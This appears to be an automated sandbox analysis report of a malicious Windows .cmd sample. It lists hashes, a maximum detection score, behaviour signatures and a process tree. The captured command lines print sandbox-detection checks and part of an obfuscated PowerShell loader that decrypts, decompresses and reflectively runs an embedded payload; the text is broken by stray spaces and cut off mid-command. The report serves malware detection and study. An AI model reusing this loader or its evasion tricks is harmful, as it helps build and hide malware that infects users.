Edit tour
Windows
Analysis Report
1 (2).cmd
Overview
General Information
| Sample name: | 1 (2).cmd |
| Analysis ID: | 1524984 |
| MD5: | 64d17cf4e56c0fdc93365eb17914ce39 |
| SHA1: | 4861be8ba1ba6d567f9950390f290bb8b860ccae |
| SHA256: | 7a83a44720d94be24a8e7745d6871d65afda849c4008ab72511dd5ac38c7378c |
| Tags: | azure-winsecure-comcmduser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
.NET source code contains process injector
.NET source code references suspicious native API functions
AI detected suspicious sample
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Creates an autostart registry key pointing to binary in C:\Windows
Creates autostart registry keys with suspicious names
Creates autostart registry keys with suspicious values (likely registry only malware)
Found suspicious powershell code related to unpacking or dynamic code loading
Hides that the sample has been downloaded from the Internet (zone.identifier)
Hides threads from debuggers
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs a global keyboard hook
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Sets debug register (to hijack the execution of another thread)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Powerup Write Hijack DLL
Suspicious command line found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 7480 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\1 (2) .cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7488 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
WMIC.exe (PID: 7532 cmdline: wmic diskd rive get M odel MD5: C37F2F4F4B3CD128BDABCAEB2266A785) 
findstr.exe (PID: 7552 cmdline: findstr /i /c:"QEMU HARDDISK" /c:"DADY H ARDDISK" / c:"WDS100T 2B0A" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - WMIC.exe (PID: 7624 cmdline:
wmic diskd rive get M anufacture r,Model MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - findstr.exe (PID: 7632 cmdline:
findstr /i /c:"BOCHS _" /c:"BXP C___" /c:" QEMU" /c:" VirtualBox " MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - cmd.exe (PID: 7708 cmdline:
cmd.exe /c echo func tion PNNxp ($qgBgH){ $eOCgk=[Sy stem.Secur ity.Crypto graphy.Aes ]::Create( ); $eOCgk. Mode=[Syst em.Securit y.Cryptogr aphy.Ciphe rMode]::CB C; $eOCgk. Padding=[S ystem.Secu rity.Crypt ography.Pa ddingMode] ::PKCS7; $ eOCgk.Key= [System.Co nvert]::Fr omBase64St ring('Y9z5 o9CK+DHYcw qkzoy/iWEp X+O8Iv9A3D gJbXPgJZk= '); $eOCgk .IV=[Syste m.Convert] ::FromBase 64String(' 6XSbRvuRO9 XQg710dEY/ 2A=='); $H rolG=$eOCg k.CreateDe cryptor(); $IcZIb=$H rolG.Trans formFinalB lock($qgBg H, 0, $qgB gH.Length) ; $HrolG.D ispose(); $eOCgk.Dis pose(); $I cZIb;}func tion YVagc ($qgBgH){ Invoke-Exp ression '$ KSWxg=New- Object blc kSblckyblc ksblcktblc keblckmblc k.blckIblc kOblck.blc kMblckeblc kmblckoblc krblckyStb lckrblckeb lckamblck( ,$qgBgH);' .Replace(' blck', '') ; Invoke-E xpression '$QmRKw=Ne w-Object b lckSblckyb lcksblcktb lckeblckm. blckIblckO blck.Mblck eblckmblck oblckrblck yblckSblck tblckrblck eblckablck mblck;'.Re place('blc k', ''); I nvoke-Expr ession '$I vNNq=New-O bject Sblc kyblcksblc ktblckeblc kmblck.blc kIblckOblc k.blckCblc koblckmblc kpblckrblc keblckssbl ckioblcknb lck.GblckZ iblckpblck Sblcktblck rblckeblck ablckmblck ($KSWxg, [ blckIblckO blck.blckC blckoblckm blckpblckr blckeblcks blcksblcki blckoblckn blck.blckC blckoblckm blckpblckr blckeblcks blcksblcki blckoblckn blckMblcko blckdblcke blck]::Dbl ckecblckom blckprblck esblcks);' .Replace(' blck', '') ; $IvNNq.C opyTo($QmR Kw); $IvNN q.Dispose( ); $KSWxg. Dispose(); $QmRKw.Di spose(); $ QmRKw.ToAr ray();}fun ction bKLz O($qgBgH,$ HpAZd){ In voke-Expre ssion '$Ko ibj=blck[b lckSblckyb lcksblcktb lckeblckmb lck.blckRb lckeblckfb lcklblckeb lckcblcktb lckiblckob lcknblck.b lckAblcksb lcksblckeb lckmblckbb lcklblckyb lck]blck:: blckLblcko blckablckd blck([byte []]$qgBgH) ;'.Replace ('blck', ' '); Invoke -Expressio n '$eMXWr= $Koibj.blc kEblcknblc ktblckrblc kyblckPblc koblckiblc knblcktblc k;'.Replac e('blck', ''); Invok e-Expressi on '$eMXWr .blckIblck nblckvblck oblckkblck eblck(blck $blcknblck ublcklblck lblck, $Hp AZd)blck;' .Replace(' blck', '') ;}$DgVFr = 'C:\Users \user\Desk top\1 (2). cmd';$host .UI.RawUI. WindowTitl e = $DgVFr ;$BZwPR=[S ystem.IO.F ile]::Read AllText($D gVFr).Spli t([Environ ment]::New Line);fore ach ($BpbH j in $BZwP R) { if ($ BpbHj.Star tsWith(':: ')) { $sy TFV=$BpbHj .Substring (3); break ; }}$eWOHt =[string[] ]$syTFV.Sp lit('\');I nvoke-Expr ession '$f Hjin=YVagc (PNNxp (b lck[blckCb lckoblcknb lckvblckeb lckrblcktb lck]blck:b lck:blckFb lckrblckob lckmblckBb lckablcksb lckeblck6b lck4blckSb lcktblckrb lckiblcknb lckgblck($ eWOHt[0])) );'.Replac e('blck', '');Invoke -Expressio n '$gCnqy= YVagc (PNN xp (blck[b lckCblckob lcknblckvb